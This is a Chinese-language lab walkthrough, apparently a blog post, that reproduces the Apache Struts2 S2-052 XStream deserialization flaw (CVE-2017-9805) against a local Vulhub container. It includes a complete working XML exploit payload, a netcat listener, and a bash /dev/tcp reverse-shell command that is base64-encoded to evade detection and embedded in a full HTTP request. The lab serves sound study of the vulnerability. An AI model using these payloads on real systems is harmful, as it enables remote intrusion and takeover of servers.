目录
1、确保系统已安装 Docker 和 Docker-Compose
本文通过vulhub靶场的Struts2_S2-052关卡讲解Struts2_S2-052漏洞原理(CVE-2017-9805)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。
一、Struts2_S2-052漏洞
1、漏洞简介
Struts2_S2-052 漏洞是 Apache Struts 2 中的一个严重安全漏洞,漏洞编号为 CVE-2017-9805。
-
漏洞编号: S2-052 (Struts2 的漏洞编号习惯以 S2 开头)
-
CVE 编号: CVE-2017-9805
-
漏洞类型: 远程代码执行 (Remote Code Execution, RCE)
-
危险等级: 严重 (Critical)
-
受影响版本: Struts 2.5.0 - Struts 2.5.12 的核心版本
-
漏洞根源: 在使用Struts2 REST插件处理XStream反序列化请求时,未对输入内容进行充分的安全检查和过滤,导致攻击者可以构造恶意的XML payload,在目标服务器上执行任意代码。
2、漏洞原理
Struts2 S2-052(CVE-2017-9805)漏洞的核心原理是XML 反序列化漏洞,其根源在于 Struts2 的 REST 插件对 XML 数据处理时的安全缺陷。
(1)漏洞涉及的关键组件
- Struts2 REST 插件:用于实现 RESTful 风格的接口,支持 XML、JSON 等数据格式的解析与处理。
- XStream 库:Struts2 REST 插件默认使用 XStream 作为 XML 数据的反序列化工具,负责将 XML 格式的数据转换为 Java 对象。
- 反序列化机制:XStream 在反序列化时会根据 XML 内容中的类名和属性,动态创建对应 Java 对象并赋值,这一过程若缺乏安全限制,会被攻击者利用。
(2)漏洞触发的核心流程
当 Struts2 应用启用 REST 插件并处理 XML 格式的请求时,漏洞触发流程如下:
- 请求接收:服务器接收包含 XML 数据的 POST 请求(通常是对 REST 接口的更新操作,如
/orders/1)。 - XML 解析:REST 插件调用 XStream 将请求体中的 XML 数据反序列化为 Java 对象。
- 恶意构造的 XML:攻击者在 XML 中嵌入精心设计的恶意类和方法调用逻辑(如
ProcessBuilder执行系统命令)。 - 无限制反序列化:XStream 默认不会对反序列化的类进行过滤,会直接解析并执行 XML 中定义的类实例化和方法调用。
- 命令执行:恶意 XML 中定义的危险操作(如
ProcessBuilder.start())被触发,导致服务器执行攻击者指定的命令。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd struts2
cd cd s2-052

4、启动漏洞环境
在struts/S2-052目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含struts2:46.1(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器98e4ef519f08属于 Vulhub 搭建的s2-052漏洞复现环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
98e4ef519f08 vulhub/struts2:2.5.12-rest-showcase "catalina.sh run" 16 minutes ago Up 16 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-052_struts2_1

-
容器 ID:98e4ef519f08
-
vulhub/struts2:2.5.12-rest-showcase: 这是它的软件模板(镜像),装的是 Struts2 2.5.12 版本。 -
"catalina.sh run": 它里面运行的是 Tomcat 服务器(一个Java网站服务器)。 -
16分钟前和运行了16分钟: 这个服务器是16分钟前开机成功的,并且一直没关。 -
0.0.0.0:8080->8080/tcp:-
意思: 任何发送至宿主机任何网络接口(无论是IPv4还是IPv6)TCP 8080端口的网络流量,都将被Docker引擎自动转发到该容器内部网络的8080端口。。
-
怎么访问: 任何发送到你Kali虚拟机(宿主机)的8080端口的网络流量,都会被Docker自动转发到这个容器内部的8080端口。打开你的浏览器,输入
http://localhost:8080或者http://你的Kali-IP地址:8080,就能看到这个网站了。 这就是为什么你能通过http://<你的Kali-IP>:8080来访问到容器里的Struts2应用。
-
-
s2-052_struts2_1: 这是这个“网站服务器”的名字。一看就知道是给S2-052漏洞复现用的。
三、渗透实战
1、访问环境
Docker启动完成后,访问 http://[靶机IP地址]:8080 来查看Struts2界面。以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080,打开后可以看到网页被重定向到如下页面,说明环境启动成功。
http://192.168.59.128:8080/orders.xhtml

2、探测环境是否为Struts2框架
在上一步的URL中加入一个不存在的路径,具体如下所示。
http://192.168.59.128:8080/mooyuan/orders.xhtml
访问URL后页面报错,报错信息中含有action这样的关键字,即可判断目标服务器使用了Struts2框架。

3、访问有漏洞的页面并发送poc
(1)编辑订单用户
在操作机Firefox浏览器中重新访问如下URL,进入到Struts提供的一个管理“订单(orders)页面,在页面上任意挑选一个用户,对其信息进行编辑。
http://192.168.59.128:8080/orders.xhtml


将此请求包发送至BurpSuite的Repeater标签页下,如下所示。


(2)Burpsuite改包
我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

在Repeater标签页下,将HTTP请求包的Content-Type字段信息修改为application/xml,并将报文的请求体部分修改为如下的POC,如下所示。

用于执行 touch /tmp/mooyuan888 的完整Payload如下所示。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<!-- 【修改部分】以下是执行 touch /tmp/mooyuan888 的命令 -->
<command>
<string>touch</string>
<string>/tmp/mooyuan888</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
Burpsuite点击发送,如下所示poc发送成功,服务器响应值为500。

4、验证攻击效果
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

四、反弹shell实战
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l: 监听(Listen) 模式,等待别人来连接。 -
-v: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666:-
>/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128的机器的6666端口。 -
>&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② base64编码
对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
-
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。-
base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1。 -
bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。
-
-
bash -c "...": 启动一个子Shell,专门用来执行引号"..."内的所有内容。 -
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}-
作用:
echo输出后面那串乱码(YmFzaCA...)。 -
这串乱码: 其实是
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。
-
-
|{base64,-d}-
作用: 拿到上一步的乱码,用
base64 -d命令把它解码还原成真正的Bash命令。
-
-
|{bash,-i}-
作用: 将解码后得到的原始反弹Shell命令,交给
bash -i(一个交互式Shell)去执行。
-
③ 攻击目标机
根据上一步的webshell反弹的命令,bash -c执行的命令如下所示。
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
Payload部分涉及到command的部分如下所示。
<!-- 【核心修改部分】以下是执行反弹Shell的命令 -->
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
</command>
</next>
Burpsuite中发送的完整的Payload如下所示。
POST /orders/3 HTTP/1.1
Host: 192.168.59.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.128:8080/orders/3/edit
Cookie: SESSdaf732d347e53f5b818c9b06ed5fdfaa=f4Ev7Sb2CAXE4LNrc1r1j8AQQEqdi9RwXq5HNvFzAPU; 9d4bb4a09f511681369671a08beff228=ca1ea81b016f1c3e1acc6cfb7a754307; 8bc282e145cce5a71f7c21f5329271be=783de01441bcdeede2f639501a9b86ab; 1378d8dc20af81e1d712b4ab9b354797=c7c4ba5ab447af7a24826c5c1f65f1fe; c18fea62beabbf4e7733d0063d604202=9230c8003e41d776276abafba7d55add; 5c338a28f3b5bc5c6e2c5160fd8f79cf=88494223fb52eb0193360830843c115d; eceaa04465d791e3d92b97fcd15d7abe=9018cfc4136a853aedf79dfec5bd22f6; f51aa12cd3433003d17b1d16853b2642=63171d79eb815ade41a947c7421a4359; JSESSIONID=0087BB636489F2479CC8AEBE3B5D15EA
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 2610
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<!-- 【核心修改部分】以下是执行反弹Shell的命令 -->
<command>
<string>bash</string>
<string>-c</string>
<string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
如下所示,修改完毕后点击发送,出现如下图所示500,表明poc发送成功。

3、反弹shell成功
此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功。

2088

被折叠的 条评论
为什么被折叠?



